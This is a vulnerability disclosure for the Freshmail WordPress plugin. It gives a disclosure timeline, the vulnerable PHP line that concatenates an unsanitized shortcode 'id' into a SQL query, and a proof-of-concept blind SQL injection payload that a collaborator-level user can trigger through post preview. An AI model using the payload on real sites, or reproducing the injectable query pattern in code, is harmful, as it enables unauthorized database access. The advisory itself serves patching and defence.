1. Summary
------------------

Freshmail plugin is an email marketing plugin for wordpress, allowing the
administrator to create mail campaigns and keep track of them.

There is a SQL Injection vulnerability available for collaborators (or
higher privileged users) for webs with freshmail plugin installed. The SQL
Injection in located in the attribute "id" of the inserted shortcode
[FM_form *id="N"*]. The shortcode attribute "id" is not sanitized before
inserting it in a SQL query.

A collaborator can insert shortcodes when he/she is editing a new post or
page and can preview the results (no administrator approval needed),
launching this SQL Injection.


2. Vulnerability timeline

- 04/05/2015: Identified in version 1.5.8 and contact the developer company

- 05/05/2015: Send the details by mail to developer.

- 05/05/2015: Response from the developer.
- 06/05/2015: Fixed version in 1.6

3. Vulnerable code
---------------------------

Vulnerable File: include/shortcode.php, lines 27 and 120:

Line 19: function fm_form_func($atts)
[...]
Line 27: $form_value = $wpdb->get_row("select * from
".$wpdb->prefix.'fm_forms where form_id="'.$atts['id'].'";');
[...]
Line 120: add_shortcode('FM_form', 'fm_form_func');


3. Proof of concept
---------------------------

1. As collaborator, start a new post.
2. Insert the shortcode [FM_form id='1" and substr(user(),1,1)="b']
3. Click preview.
4. If the form is shown, the statement is true, if not, false.
